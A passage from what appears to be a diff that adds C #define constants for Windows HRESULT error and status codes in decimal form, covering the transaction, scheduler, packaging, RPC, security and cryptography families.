XACT_E_UNABLE_TO_READ_DTC_CONFIG -2147168217 +#define XACT_E_UNABLE_TO_LOAD_DTC_PROXY -2147168216 +#define XACT_E_ABORTING -2147168215 +#define XACT_E_PUSH_COMM_FAILURE -2147168214 +#define XACT_E_PULL_COMM_FAILURE -2147168213 +#define XACT_E_LU_TX_DISABLED -2147168212 +#define XACT_E_CLERKNOTFOUND -2147168128 +#define XACT_E_CLERKEXISTS -2147168127 +#define XACT_E_RECOVERYINPROGRESS -2147168126 +#define XACT_E_TRANSACTIONCLOSED -2147168125 +#define XACT_E_INVALIDLSN -2147168124 +#define XACT_E_REPLAYREQUEST -2147168123 +#define XACT_S_ASYNC 315392 +#define XACT_S_DEFECT 315393 +#define XACT_S_READONLY 315394 +#define XACT_S_SOMENORETAIN 315395 +#define XACT_S_OKINFORM 315396 +#define XACT_S_MADECHANGESCONTENT 315397 +#define XACT_S_MADECHANGESINFORM 315398 +#define XACT_S_ALLNORETAIN 315399 +#define XACT_S_ABORTING 315400 +#define XACT_S_SINGLEPHASE 315401 +#define XACT_S_LOCALLY_OK 315402 +#define XACT_S_LASTRESOURCEMANAGER 315408 +#define CONTEXT_E_FIRST -2147164160 +#define CONTEXT_E_LAST -2147164113 +#define CONTEXT_S_FIRST 319488 +#define CONTEXT_S_LAST 319535 +#define CONTEXT_E_ABORTED -2147164158 +#define CONTEXT_E_ABORTING -2147164157 +#define CONTEXT_E_NOCONTEXT -2147164156 +#define CONTEXT_E_WOULD_DEADLOCK -2147164155 +#define CONTEXT_E_SYNCH_TIMEOUT -2147164154 +#define CONTEXT_E_OLDREF -2147164153 +#define CONTEXT_E_ROLENOTFOUND -2147164148 +#define CONTEXT_E_TMNOTAVAILABLE -2147164145 +#define CO_E_ACTIVATIONFAILED -2147164127 +#define CO_E_ACTIVATIONFAILED_EVENTLOGGED -2147164126 +#define CO_E_ACTIVATIONFAILED_CATALOGERROR -2147164125 +#define CO_E_ACTIVATIONFAILED_TIMEOUT -2147164124 +#define CO_E_INITIALIZATIONFAILED -2147164123 +#define CONTEXT_E_NOJIT -2147164122 +#define CONTEXT_E_NOTRANSACTION -2147164121 +#define CO_E_THREADINGMODEL_CHANGED -2147164120 +#define CO_E_NOIISINTRINSICS -2147164119 +#define CO_E_NOCOOKIES -2147164118 +#define CO_E_DBERROR -2147164117 +#define CO_E_NOTPOOLED -2147164116 +#define CO_E_NOTCONSTRUCTED -2147164115 +#define CO_E_NOSYNCHRONIZATION -2147164114 +#define CO_E_ISOLEVELMISMATCH -2147164113 +#define CO_E_CALL_OUT_OF_TX_SCOPE_NOT_ALLOWED -2147164112 +#define CO_E_EXIT_TRANSACTION_SCOPE_NOT_CALLED -2147164111 +#define OLE_S_USEREG 262144 +#define OLE_S_STATIC 262145 +#define OLE_S_MAC_CLIPFORMAT 262146 +#define DRAGDROP_S_DROP 262400 +#define DRAGDROP_S_CANCEL 262401 +#define DRAGDROP_S_USEDEFAULTCURSORS 262402 +#define DATA_S_SAMEFORMATETC 262448 +#define VIEW_S_ALREADY_FROZEN 262464 +#define CACHE_S_FORMATETC_NOTSUPPORTED 262512 +#define CACHE_S_SAMECACHE 262513 +#define CACHE_S_SOMECACHES_NOTUPDATED 262514 +#define OLEOBJ_S_INVALIDVERB 262528 +#define OLEOBJ_S_CANNOT_DOVERB_NOW 262529 +#define OLEOBJ_S_INVALIDHWND 262530 +#define INPLACE_S_TRUNCATED 262560 +#define CONVERT10_S_NO_PRESENTATION 262592 +#define MK_S_REDUCED_TO_SELF 262626 +#define MK_S_ME 262628 +#define MK_S_HIM 262629 +#define MK_S_US 262630 +#define MK_S_MONIKERALREADYREGISTERED 262631 +#define SCHED_S_TASK_READY 267008 +#define SCHED_S_TASK_RUNNING 267009 +#define SCHED_S_TASK_DISABLED 267010 +#define SCHED_S_TASK_HAS_NOT_RUN 267011 +#define SCHED_S_TASK_NO_MORE_RUNS 267012 +#define SCHED_S_TASK_NOT_SCHEDULED 267013 +#define SCHED_S_TASK_TERMINATED 267014 +#define SCHED_S_TASK_NO_VALID_TRIGGERS 267015 +#define SCHED_S_EVENT_TRIGGER 267016 +#define SCHED_E_TRIGGER_NOT_FOUND -2147216631 +#define SCHED_E_TASK_NOT_READY -2147216630 +#define SCHED_E_TASK_NOT_RUNNING -2147216629 +#define SCHED_E_SERVICE_NOT_INSTALLED -2147216628 +#define SCHED_E_CANNOT_OPEN_TASK -2147216627 +#define SCHED_E_INVALID_TASK -2147216626 +#define SCHED_E_ACCOUNT_INFORMATION_NOT_SET -2147216625 +#define SCHED_E_ACCOUNT_NAME_NOT_FOUND -2147216624 +#define SCHED_E_ACCOUNT_DBASE_CORRUPT -2147216623 +#define SCHED_E_NO_SECURITY_SERVICES -2147216622 +#define SCHED_E_UNKNOWN_OBJECT_VERSION -2147216621 +#define SCHED_E_UNSUPPORTED_ACCOUNT_OPTION -2147216620 +#define SCHED_E_SERVICE_NOT_RUNNING -2147216619 +#define SCHED_E_UNEXPECTEDNODE -2147216618 +#define SCHED_E_NAMESPACE -2147216617 +#define SCHED_E_INVALIDVALUE -2147216616 +#define SCHED_E_MISSINGNODE -2147216615 +#define SCHED_E_MALFORMEDXML -2147216614 +#define SCHED_S_SOME_TRIGGERS_FAILED 267035 +#define SCHED_S_BATCH_LOGON_PROBLEM 267036 +#define SCHED_E_TOO_MANY_NODES -2147216611 +#define SCHED_E_PAST_END_BOUNDARY -2147216610 +#define SCHED_E_ALREADY_RUNNING -2147216609 +#define SCHED_E_USER_NOT_LOGGED_ON -2147216608 +#define SCHED_E_INVALID_TASK_HASH -2147216607 +#define SCHED_E_SERVICE_NOT_AVAILABLE -2147216606 +#define SCHED_E_SERVICE_TOO_BUSY -2147216605 +#define SCHED_E_TASK_ATTEMPTED -2147216604 +#define SCHED_S_TASK_QUEUED 267045 +#define SCHED_E_TASK_DISABLED -2147216602 +#define SCHED_E_TASK_NOT_V1_COMPAT -2147216601 +#define SCHED_E_START_ON_DEMAND -2147216600 +#define SCHED_E_TASK_NOT_UBPM_COMPAT -2147216599 +#define SCHED_E_DEPRECATED_FEATURE_USED -2147216592 +#define CO_E_CLASS_CREATE_FAILED -2146959359 +#define CO_E_SCM_ERROR -2146959358 +#define CO_E_SCM_RPC_FAILURE -2146959357 +#define CO_E_BAD_PATH -2146959356 +#define CO_E_SERVER_EXEC_FAILURE -2146959355 +#define CO_E_OBJSRV_RPC_FAILURE -2146959354 +#define MK_E_NO_NORMALIZED -2146959353 +#define CO_E_SERVER_STOPPING -2146959352 +#define MEM_E_INVALID_ROOT -2146959351 +#define MEM_E_INVALID_LINK -2146959344 +#define MEM_E_INVALID_SIZE -2146959343 +#define CO_S_NOTALLINTERFACES 524306 +#define CO_S_MACHINENAMENOTFOUND 524307 +#define CO_E_MISSING_DISPLAYNAME -2146959339 +#define CO_E_RUNAS_VALUE_MUST_BE_AAA -2146959338 +#define CO_E_ELEVATION_DISABLED -2146959337 +#define APPX_E_PACKAGING_INTERNAL -2146958848 +#define APPX_E_INTERLEAVING_NOT_ALLOWED -2146958847 +#define APPX_E_RELATIONSHIPS_NOT_ALLOWED -2146958846 +#define APPX_E_MISSING_REQUIRED_FILE -2146958845 +#define APPX_E_INVALID_MANIFEST -2146958844 +#define APPX_E_INVALID_BLOCKMAP -2146958843 +#define APPX_E_CORRUPT_CONTENT -2146958842 +#define APPX_E_BLOCK_HASH_INVALID -2146958841 +#define APPX_E_REQUESTED_RANGE_TOO_LARGE -2146958840 +#define APPX_E_INVALID_SIP_CLIENT_DATA -2146958839 +#define APPX_E_INVALID_KEY_INFO -2146958838 +#define APPX_E_INVALID_CONTENTGROUPMAP -2146958837 +#define APPX_E_INVALID_APPINSTALLER -2146958836 +#define APPX_E_DELTA_BASELINE_VERSION_MISMATCH -2146958835 +#define APPX_E_DELTA_PACKAGE_MISSING_FILE -2146958834 +#define APPX_E_INVALID_DELTA_PACKAGE -2146958833 +#define APPX_E_DELTA_APPENDED_PACKAGE_NOT_ALLOWED -2146958832 +#define APPX_E_INVALID_PACKAGING_LAYOUT -2146958831 +#define APPX_E_INVALID_PACKAGESIGNCONFIG -2146958830 +#define APPX_E_RESOURCESPRI_NOT_ALLOWED -2146958829 +#define APPX_E_FILE_COMPRESSION_MISMATCH -2146958828 +#define APPX_E_INVALID_PAYLOAD_PACKAGE_EXTENSION -2146958827 +#define APPX_E_INVALID_ENCRYPTION_EXCLUSION_FILE_LIST -2146958826 +#define APPX_E_INVALID_PACKAGE_FOLDER_ACLS -2146958825 +#define APPX_E_INVALID_PUBLISHER_BRIDGING -2146958824 +#define APPX_E_DIGEST_MISMATCH -2146958823 +#define BT_E_SPURIOUS_ACTIVATION -2146958592 +#define DISP_E_UNKNOWNINTERFACE -2147352575 +#define DISP_E_MEMBERNOTFOUND -2147352573 +#define DISP_E_PARAMNOTFOUND -2147352572 +#define DISP_E_TYPEMISMATCH -2147352571 +#define DISP_E_UNKNOWNNAME -2147352570 +#define DISP_E_NONAMEDARGS -2147352569 +#define DISP_E_BADVARTYPE -2147352568 +#define DISP_E_EXCEPTION -2147352567 +#define DISP_E_OVERFLOW -2147352566 +#define DISP_E_BADINDEX -2147352565 +#define DISP_E_UNKNOWNLCID -2147352564 +#define DISP_E_ARRAYISLOCKED -2147352563 +#define DISP_E_BADPARAMCOUNT -2147352562 +#define DISP_E_PARAMNOTOPTIONAL -2147352561 +#define DISP_E_BADCALLEE -2147352560 +#define DISP_E_NOTACOLLECTION -2147352559 +#define DISP_E_DIVBYZERO -2147352558 +#define DISP_E_BUFFERTOOSMALL -2147352557 +#define TYPE_E_BUFFERTOOSMALL -2147319786 +#define TYPE_E_FIELDNOTFOUND -2147319785 +#define TYPE_E_INVDATAREAD -2147319784 +#define TYPE_E_UNSUPFORMAT -2147319783 +#define TYPE_E_REGISTRYACCESS -2147319780 +#define TYPE_E_LIBNOTREGISTERED -2147319779 +#define TYPE_E_UNDEFINEDTYPE -2147319769 +#define TYPE_E_QUALIFIEDNAMEDISALLOWED -2147319768 +#define TYPE_E_INVALIDSTATE -2147319767 +#define TYPE_E_WRONGTYPEKIND -2147319766 +#define TYPE_E_ELEMENTNOTFOUND -2147319765 +#define TYPE_E_AMBIGUOUSNAME -2147319764 +#define TYPE_E_NAMECONFLICT -2147319763 +#define TYPE_E_UNKNOWNLCID -2147319762 +#define TYPE_E_DLLFUNCTIONNOTFOUND -2147319761 +#define TYPE_E_BADMODULEKIND -2147317571 +#define TYPE_E_SIZETOOBIG -2147317563 +#define TYPE_E_DUPLICATEID -2147317562 +#define TYPE_E_INVALIDID -2147317553 +#define TYPE_E_TYPEMISMATCH -2147316576 +#define TYPE_E_OUTOFBOUNDS -2147316575 +#define TYPE_E_IOERROR -2147316574 +#define TYPE_E_CANTCREATETMPFILE -2147316573 +#define TYPE_E_CANTLOADLIBRARY -2147312566 +#define TYPE_E_INCONSISTENTPROPFUNCS -2147312509 +#define TYPE_E_CIRCULARTYPE -2147312508 +#define STG_E_INVALIDFUNCTION -2147287039 +#define STG_E_FILENOTFOUND -2147287038 +#define STG_E_PATHNOTFOUND -2147287037 +#define STG_E_TOOMANYOPENFILES -2147287036 +#define STG_E_ACCESSDENIED -2147287035 +#define STG_E_INVALIDHANDLE -2147287034 +#define STG_E_INSUFFICIENTMEMORY -2147287032 +#define STG_E_INVALIDPOINTER -2147287031 +#define STG_E_NOMOREFILES -2147287022 +#define STG_E_DISKISWRITEPROTECTED -2147287021 +#define STG_E_SEEKERROR -2147287015 +#define STG_E_WRITEFAULT -2147287011 +#define STG_E_READFAULT -2147287010 +#define STG_E_SHAREVIOLATION -2147287008 +#define STG_E_LOCKVIOLATION -2147287007 +#define STG_E_FILEALREADYEXISTS -2147286960 +#define STG_E_INVALIDPARAMETER -2147286953 +#define STG_E_MEDIUMFULL -2147286928 +#define STG_E_PROPSETMISMATCHED -2147286800 +#define STG_E_ABNORMALAPIEXIT -2147286790 +#define STG_E_INVALIDHEADER -2147286789 +#define STG_E_INVALIDNAME -2147286788 +#define STG_E_UNKNOWN -2147286787 +#define STG_E_UNIMPLEMENTEDFUNCTION -2147286786 +#define STG_E_INVALIDFLAG -2147286785 +#define STG_E_INUSE -2147286784 +#define STG_E_NOTCURRENT -2147286783 +#define STG_E_REVERTED -2147286782 +#define STG_E_CANTSAVE -2147286781 +#define STG_E_OLDFORMAT -2147286780 +#define STG_E_OLDDLL -2147286779 +#define STG_E_SHAREREQUIRED -2147286778 +#define STG_E_NOTFILEBASEDSTORAGE -2147286777 +#define STG_E_EXTANTMARSHALLINGS -2147286776 +#define STG_E_DOCFILECORRUPT -2147286775 +#define STG_E_BADBASEADDRESS -2147286768 +#define STG_E_DOCFILETOOLARGE -2147286767 +#define STG_E_NOTSIMPLEFORMAT -2147286766 +#define STG_E_INCOMPLETE -2147286527 +#define STG_E_TERMINATED -2147286526 +#define STG_S_CONVERTED 197120 +#define STG_S_BLOCK 197121 +#define STG_S_RETRYNOW 197122 +#define STG_S_MONITORING 197123 +#define STG_S_MULTIPLEOPENS 197124 +#define STG_S_CONSOLIDATIONFAILED 197125 +#define STG_S_CANNOTCONSOLIDATE 197126 +#define STG_S_POWER_CYCLE_REQUIRED 197127 +#define STG_E_FIRMWARE_SLOT_INVALID -2147286520 +#define STG_E_FIRMWARE_IMAGE_INVALID -2147286519 +#define STG_E_DEVICE_UNRESPONSIVE -2147286518 +#define STG_E_STATUS_COPY_PROTECTION_FAILURE -2147286267 +#define STG_E_CSS_AUTHENTICATION_FAILURE -2147286266 +#define STG_E_CSS_KEY_NOT_PRESENT -2147286265 +#define STG_E_CSS_KEY_NOT_ESTABLISHED -2147286264 +#define STG_E_CSS_SCRAMBLED_SECTOR -2147286263 +#define STG_E_CSS_REGION_MISMATCH -2147286262 +#define STG_E_RESETS_EXHAUSTED -2147286261 +#define RPC_E_CALL_REJECTED -2147418111 +#define RPC_E_CALL_CANCELED -2147418110 +#define RPC_E_CANTPOST_INSENDCALL -2147418109 +#define RPC_E_CANTCALLOUT_INASYNCCALL -2147418108 +#define RPC_E_CANTCALLOUT_INEXTERNALCALL -2147418107 +#define RPC_E_CONNECTION_TERMINATED -2147418106 +#define RPC_E_SERVER_DIED -2147418105 +#define RPC_E_CLIENT_DIED -2147418104 +#define RPC_E_INVALID_DATAPACKET -2147418103 +#define RPC_E_CANTTRANSMIT_CALL -2147418102 +#define RPC_E_CLIENT_CANTMARSHAL_DATA -2147418101 +#define RPC_E_CLIENT_CANTUNMARSHAL_DATA -2147418100 +#define RPC_E_SERVER_CANTMARSHAL_DATA -2147418099 +#define RPC_E_SERVER_CANTUNMARSHAL_DATA -2147418098 +#define RPC_E_INVALID_DATA -2147418097 +#define RPC_E_INVALID_PARAMETER -2147418096 +#define RPC_E_CANTCALLOUT_AGAIN -2147418095 +#define RPC_E_SERVER_DIED_DNE -2147418094 +#define RPC_E_SYS_CALL_FAILED -2147417856 +#define RPC_E_OUT_OF_RESOURCES -2147417855 +#define RPC_E_ATTEMPTED_MULTITHREAD -2147417854 +#define RPC_E_NOT_REGISTERED -2147417853 +#define RPC_E_FAULT -2147417852 +#define RPC_E_SERVERFAULT -2147417851 +#define RPC_E_CHANGED_MODE -2147417850 +#define RPC_E_INVALIDMETHOD -2147417849 +#define RPC_E_DISCONNECTED -2147417848 +#define RPC_E_RETRY -2147417847 +#define RPC_E_SERVERCALL_RETRYLATER -2147417846 +#define RPC_E_SERVERCALL_REJECTED -2147417845 +#define RPC_E_INVALID_CALLDATA -2147417844 +#define RPC_E_CANTCALLOUT_ININPUTSYNCCALL -2147417843 +#define RPC_E_WRONG_THREAD -2147417842 +#define RPC_E_THREAD_NOT_INIT -2147417841 +#define RPC_E_VERSION_MISMATCH -2147417840 +#define RPC_E_INVALID_HEADER -2147417839 +#define RPC_E_INVALID_EXTENSION -2147417838 +#define RPC_E_INVALID_IPID -2147417837 +#define RPC_E_INVALID_OBJECT -2147417836 +#define RPC_S_CALLPENDING -2147417835 +#define RPC_S_WAITONTIMER -2147417834 +#define RPC_E_CALL_COMPLETE -2147417833 +#define RPC_E_UNSECURE_CALL -2147417832 +#define RPC_E_TOO_LATE -2147417831 +#define RPC_E_NO_GOOD_SECURITY_PACKAGES -2147417830 +#define RPC_E_ACCESS_DENIED -2147417829 +#define RPC_E_REMOTE_DISABLED -2147417828 +#define RPC_E_INVALID_OBJREF -2147417827 +#define RPC_E_NO_CONTEXT -2147417826 +#define RPC_E_TIMEOUT -2147417825 +#define RPC_E_NO_SYNC -2147417824 +#define RPC_E_FULLSIC_REQUIRED -2147417823 +#define RPC_E_INVALID_STD_NAME -2147417822 +#define CO_E_FAILEDTOIMPERSONATE -2147417821 +#define CO_E_FAILEDTOGETSECCTX -2147417820 +#define CO_E_FAILEDTOOPENTHREADTOKEN -2147417819 +#define CO_E_FAILEDTOGETTOKENINFO -2147417818 +#define CO_E_TRUSTEEDOESNTMATCHCLIENT -2147417817 +#define CO_E_FAILEDTOQUERYCLIENTBLANKET -2147417816 +#define CO_E_FAILEDTOSETDACL -2147417815 +#define CO_E_ACCESSCHECKFAILED -2147417814 +#define CO_E_NETACCESSAPIFAILED -2147417813 +#define CO_E_WRONGTRUSTEENAMESYNTAX -2147417812 +#define CO_E_INVALIDSID -2147417811 +#define CO_E_CONVERSIONFAILED -2147417810 +#define CO_E_NOMATCHINGSIDFOUND -2147417809 +#define CO_E_LOOKUPACCSIDFAILED -2147417808 +#define CO_E_NOMATCHINGNAMEFOUND -2147417807 +#define CO_E_LOOKUPACCNAMEFAILED -2147417806 +#define CO_E_SETSERLHNDLFAILED -2147417805 +#define CO_E_FAILEDTOGETWINDIR -2147417804 +#define CO_E_PATHTOOLONG -2147417803 +#define CO_E_FAILEDTOGENUUID -2147417802 +#define CO_E_FAILEDTOCREATEFILE -2147417801 +#define CO_E_FAILEDTOCLOSEHANDLE -2147417800 +#define CO_E_EXCEEDSYSACLLIMIT -2147417799 +#define CO_E_ACESINWRONGORDER -2147417798 +#define CO_E_INCOMPATIBLESTREAMVERSION -2147417797 +#define CO_E_FAILEDTOOPENPROCESSTOKEN -2147417796 +#define CO_E_DECODEFAILED -2147417795 +#define CO_E_ACNOTINITIALIZED -2147417793 +#define CO_E_CANCEL_DISABLED -2147417792 +#define CO_E_SERVER_CANNOT_BE_EQUAL_OR_GREATER_PRIVILEGE -2147417791 +#define CO_E_CANNOT_ACTIVATE_CROSS_PACKAGE_IN_SESSION_0 -2147417790 +#define RPC_E_UNEXPECTED -2147352577 +#define ERROR_AUDITING_DISABLED -1073151999 +#define ERROR_ALL_SIDS_FILTERED -1073151998 +#define ERROR_BIZRULES_NOT_ENABLED -1073151997 +#define NTE_BAD_UID -2146893823 +#define NTE_BAD_HASH -2146893822 +#define NTE_BAD_KEY -2146893821 +#define NTE_BAD_LEN -2146893820 +#define NTE_BAD_DATA -2146893819 +#define NTE_BAD_SIGNATURE -2146893818 +#define NTE_BAD_VER -2146893817 +#define NTE_BAD_ALGID -2146893816 +#define NTE_BAD_FLAGS -2146893815 +#define NTE_BAD_TYPE -2146893814 +#define NTE_BAD_KEY_STATE -2146893813 +#define NTE_BAD_HASH_STATE -2146893812 +#define NTE_NO_KEY -2146893811 +#define NTE_NO_MEMORY -2146893810 +#define NTE_EXISTS -2146893809 +#define NTE_PERM -2146893808 +#define NTE_NOT_FOUND -2146893807 +#define NTE_DOUBLE_ENCRYPT -2146893806 +#define NTE_BAD_PROVIDER -2146893805 +#define NTE_BAD_PROV_TYPE -2146893804 +#define NTE_BAD_PUBLIC_KEY -2146893803 +#define NTE_BAD_KEYSET -2146893802 +#define NTE_PROV_TYPE_NOT_DEF -2146893801 +#define NTE_PROV_TYPE_ENTRY_BAD -2146893800 +#define NTE_KEYSET_NOT_DEF -2146893799 +#define NTE_KEYSET_ENTRY_BAD -2146893798 +#define NTE_PROV_TYPE_NO_MATCH -2146893797 +#define NTE_SIGNATURE_FILE_BAD -2146893796 +#define NTE_PROVIDER_DLL_FAIL -2146893795 +#define NTE_PROV_DLL_NOT_FOUND -2146893794 +#define NTE_BAD_KEYSET_PARAM -2146893793 +#define NTE_FAIL -2146893792 +#define NTE_SYS_ERR -2146893791 +#define NTE_SILENT_CONTEXT -2146893790 +#define NTE_TOKEN_KEYSET_STORAGE_FULL -2146893789 +#define NTE_TEMPORARY_PROFILE -2146893788 +#define NTE_FIXEDPARAMETER -2146893787 +#define NTE_INVALID_HANDLE -2146893786 +#define NTE_INVALID_PARAMETER -2146893785 +#define NTE_BUFFER_TOO_SMALL -2146893784 +#define NTE_NOT_SUPPORTED -2146893783 +#define NTE_NO_MORE_ITEMS -2146893782 +#define NTE_BUFFERS_OVERLAP -2146893781 +#define NTE_DECRYPTION_FAILURE -2146893780 +#define NTE_INTERNAL_ERROR -2146893779 +#define NTE_UI_REQUIRED -2146893778 +#define NTE_HMAC_NOT_SUPPORTED -2146893777 +#define NTE_DEVICE_NOT_READY -2146893776 +#define NTE_AUTHENTICATION_IGNORED -2146893775 +#define NTE_VALIDATION_FAILED -2146893774 +#define NTE_INCORRECT_PASSWORD -2146893773 +#define NTE_ENCRYPTION_FAILURE -2146893772 +#define NTE_DEVICE_NOT_FOUND -2146893771 +#define NTE_USER_CANCELLED -2146893770 +#define NTE_PASSWORD_CHANGE_REQUIRED -2146893769 +#define NTE_NOT_ACTIVE_CONSOLE -2146893768 +#define NTE_VBS_UNAVAILABLE -2146893767 +#define NTE_VBS_CANNOT_DECRYPT_KEY -2146893766 +#define SEC_E_INSUFFICIENT_MEMORY -2146893056 +#define SEC_E_INVALID_HANDLE -2146893055 +#define SEC_E_UNSUPPORTED_FUNCTION -2146893054 +#define SEC_E_TARGET_UNKNOWN -2146893053 +#define SEC_E_INTERNAL_ERROR -2146893052 +#define SEC_E_SECPKG_NOT_FOUND -2146893051 +#define SEC_E_NOT_OWNER -2146893050 +#define SEC_E_CANNOT_INSTALL -2146893049 +#define SEC_E_INVALID_TOKEN -2146893048 +#define SEC_E_CANNOT_PACK -2146893047 +#define SEC_E_QOP_NOT_SUPPORTED -2146893046 +#define SEC_E_NO_IMPERSONATION -2146893045 +#define SEC_E_LOGON_DENIED -2146893044 +#define SEC_E_UNKNOWN_CREDENTIALS -2146893043 +#define SEC_E_NO_CREDENTIALS -2146893042 +#define SEC_E_MESSAGE_ALTERED -2146893041 +#define SEC_E_OUT_OF_SEQUENCE -2146893040 +#define SEC_E_NO_AUTHENTICATING_AUTHORITY -2146893039 +#define SEC_I_CONTINUE_NEEDED 590610 +#define SEC_I_COMPLETE_NEEDED 590611 +#define SEC_I_COMPLETE_AND_CONTINUE 590612 +#define SEC_I_LOCAL_LOGON 590613 +#define SEC_I_GENERIC_EXTENSION_RECEIVED 590614 +#define SEC_E_BAD_PKGID -2146893034 +#define SEC_E_CONTEXT_EXPIRED -2146893033 +#define SEC_I_CONTEXT_EXPIRED 590615 +#define SEC_E_INCOMPLETE_MESSAGE -2146893032 +#define SEC_E_INCOMPLETE_CREDENTIALS -2146893024 +#define SEC_E_BUFFER_TOO_SMALL -2146893023 +#define SEC_I_INCOMPLETE_CREDENTIALS 590624 +#define SEC_I_RENEGOTIATE 590625 +#define SEC_E_WRONG_PRINCIPAL -2146893022 +#define SEC_I_NO_LSA_CONTEXT 590627 +#define SEC_E_TIME_SKEW -2146893020 +#define SEC_E_UNTRUSTED_ROOT -2146893019 +#define SEC_E_ILLEGAL_MESSAGE -2146893018 +#define SEC_E_CERT_UNKNOWN -2146893017 +#define SEC_E_CERT_EXPIRED -2146893016 +#define SEC_E_ENCRYPT_FAILURE -2146893015 +#define SEC_E_DECRYPT_FAILURE -2146893008 +#define SEC_E_ALGORITHM_MISMATCH -2146893007 +#define SEC_E_SECURITY_QOS_FAILED -2146893006 +#define SEC_E_UNFINISHED_CONTEXT_DELETED -2146893005 +#define SEC_E_NO_TGT_REPLY -2146893004 +#define SEC_E_NO_IP_ADDRESSES -2146893003 +#define SEC_E_WRONG_CREDENTIAL_HANDLE -2146893002 +#define SEC_E_CRYPTO_SYSTEM_INVALID -2146893001 +#define SEC_E_MAX_REFERRALS_EXCEEDED -2146893000 +#define SEC_E_MUST_BE_KDC -2146892999 +#define SEC_E_STRONG_CRYPTO_NOT_SUPPORTED -2146892998 +#define SEC_E_TOO_MANY_PRINCIPALS -2146892997 +#define SEC_E_NO_PA_DATA -2146892996 +#define SEC_E_PKINIT_NAME_MISMATCH -2146892995 +#define SEC_E_SMARTCARD_LOGON_REQUIRED -2146892994 +#define SEC_E_SHUTDOWN_IN_PROGRESS -2146892993 +#define SEC_E_KDC_INVALID_REQUEST -2146892992 +#define SEC_E_KDC_UNABLE_TO_REFER -2146892991 +#define SEC_E_KDC_UNKNOWN_ETYPE -2146892990 +#define SEC_E_UNSUPPORTED_PREAUTH -2146892989 +#define SEC_E_DELEGATION_REQUIRED -2146892987 +#define SEC_E_BAD_BINDINGS -2146892986 +#define SEC_E_MULTIPLE_ACCOUNTS -2146892985 +#define SEC_E_NO_KERB_KEY -2146892984 +#define SEC_E_CERT_WRONG_USAGE -2146892983 +#define SEC_E_DOWNGRADE_DETECTED -2146892976 +#define SEC_E_SMARTCARD_CERT_REVOKED -2146892975 +#define SEC_E_ISSUING_CA_UNTRUSTED -2146892974 +#define SEC_E_REVOCATION_OFFLINE_C -2146892973 +#define SEC_E_PKINIT_CLIENT_FAILURE -2146892972 +#define SEC_E_SMARTCARD_CERT_EXPIRED -2146892971 +#define SEC_E_NO_S4U_PROT_SUPPORT -2146892970 +#define SEC_E_CROSSREALM_DELEGATION_FAILURE -2146892969 +#define SEC_E_REVOCATION_OFFLINE_KDC -2146892968 +#define SEC_E_ISSUING_CA_UNTRUSTED_KDC -2146892967 +#define SEC_E_KDC_CERT_EXPIRED -2146892966 +#define SEC_E_KDC_CERT_REVOKED -2146892965 +#define SEC_I_SIGNATURE_NEEDED 590684 +#define SEC_E_INVALID_PARAMETER -2146892963 +#define SEC_E_DELEGATION_POLICY -2146892962 +#define SEC_E_POLICY_NLTM_ONLY -2146892961 +#define SEC_I_NO_RENEGOTIATION 590688 +#define SEC_E_NO_CONTEXT -2146892959 +#define SEC_E_PKU2U_CERT_FAILURE -2146892958 +#define SEC_E_MUTUAL_AUTH_FAILED -2146892957 +#define SEC_I_MESSAGE_FRAGMENT 590692 +#define SEC_E_ONLY_HTTPS_ALLOWED -2146892955 +#define SEC_I_CONTINUE_NEEDED_MESSAGE_OK 590694 +#define SEC_E_APPLICATION_PROTOCOL_MISMATCH -2146892953 +#define SEC_I_ASYNC_CALL_PENDING 590696 +#define SEC_E_INVALID_UPN_NAME -2146892951 +#define SEC_E_EXT_BUFFER_TOO_SMALL -2146892950 +#define SEC_E_INSUFFICIENT_BUFFERS -2146892949 +#define SEC_I_INVALID_SESSION_STATE -2146892948 +#define SEC_E_NO_SPM -2146893052 +#define SEC_E_NOT_SUPPORTED -2146893054 +#define CRYPT_E_MSG_ERROR -2146889727 +#define CRYPT_E_UNKNOWN_ALGO -2146889726 +#define CRYPT_E_OID_FORMAT -2146889725 +#define CRYPT_E_INVALID_MSG_TYPE -2146889724 +#define CRYPT_E_UNEXPECTED_ENCODING -2146889723 +#define CRYPT_E_AUTH_ATTR_MISSING -2146889722 +#define CRYPT_E_HASH_VALUE -2146889721 +#define CRYPT_E_INVALID_INDEX -2146889720 +#define CRYPT_E_ALREADY_DECRYPTED -2146889719 +#define CRYPT_E_NOT_DECRYPTED -2146889718 +#define CRYPT_E_RECIPIENT_NOT_FOUND -2146889717 +#define CRYPT_E_CONTROL_TYPE -2146889716 +#define CRYPT_E_ISSUER_SERIALNUMBER -2146889715 +#define CRYPT_E_SIGNER_NOT_FOUND -2146889714 +#define CRYPT_E_ATTRIBUTES_MISSING -2146889713 +#define CRYPT_E_STREAM_MSG_NOT_READY -2146889712 +#define CRYPT_E_STREAM_INSUFFICIENT_DATA -2146889711 +#define CRYPT_I_NEW_PROTECTION_REQUIRED 593938 +#define CRYPT_E_BAD_LEN -2146885631 +#define CRYPT_E_BAD_ENCODE -2146885630 +#define CRYPT_E_FILE_ERROR -2146885629 +#define CRYPT_E_NOT_FOUND -2146885628 +#define CRYPT_E_EXISTS -2146885627 +#define CRYPT_E_NO_PROVIDER -2146885626 +#define CRYPT_E_SELF_SIGNED -2146885625 +#define CRYPT_E_DELETED_PREV -2146885624 +#define CRYPT_E_NO_MATCH -2146885623 +#define CRYPT_E_UNEXPECTED_MSG_TYPE -2146885622 +#define CRYPT_E_NO_KEY_PROPERTY -2146885621 +#define CRYPT_E_NO_DECRYPT_CERT -2146885620 +#define CRYPT_E_BAD_MSG -2146885619 +#define CRYPT_E_NO_SIGNER -2146885618 +#define CRYPT_E_PENDING_CLOSE -2146885617 +#define CRYPT_E_REVOKED -2146885616 +#define CRYPT_E_NO_REVOCATION_DLL -2146885615 +#define CRYPT_E_NO_REVOCATION_CHECK -2146885614 +#define CRYPT_E_REVOCATION_OFFLINE -2146885613 +#define CRYPT_E_NOT_IN_REVOCATION_DATABASE -2146885612 +#define CRYPT_E_INVALID_NUMERIC_STRING -2146885600 +#define CRYPT_E_INVALID_PRINTABLE_STRING -2146885599 +#define CRYPT_E_INVALID_IA5_STRING -2146885598 +#define CRYPT_E_INVALID_X500_STRING -2146885597 +#define CRYPT_E_NOT_CHAR_STRING -2146885596 +#define CRYPT_E_FILERESIZED -2146885595 +#define CRYPT_E_SECURITY_SETTINGS -2146885594 +#define CRYPT_E_NO_VERIFY_USAGE_DLL -2146885593 +#define CRYPT_E_NO_VERIFY_USAGE_CHECK -2146885592 +#define CRYPT_E_VERIFY_USAGE_OFFLINE -2146885591 +#define CRYPT_E_NOT_IN_CTL -2146885590 +#define 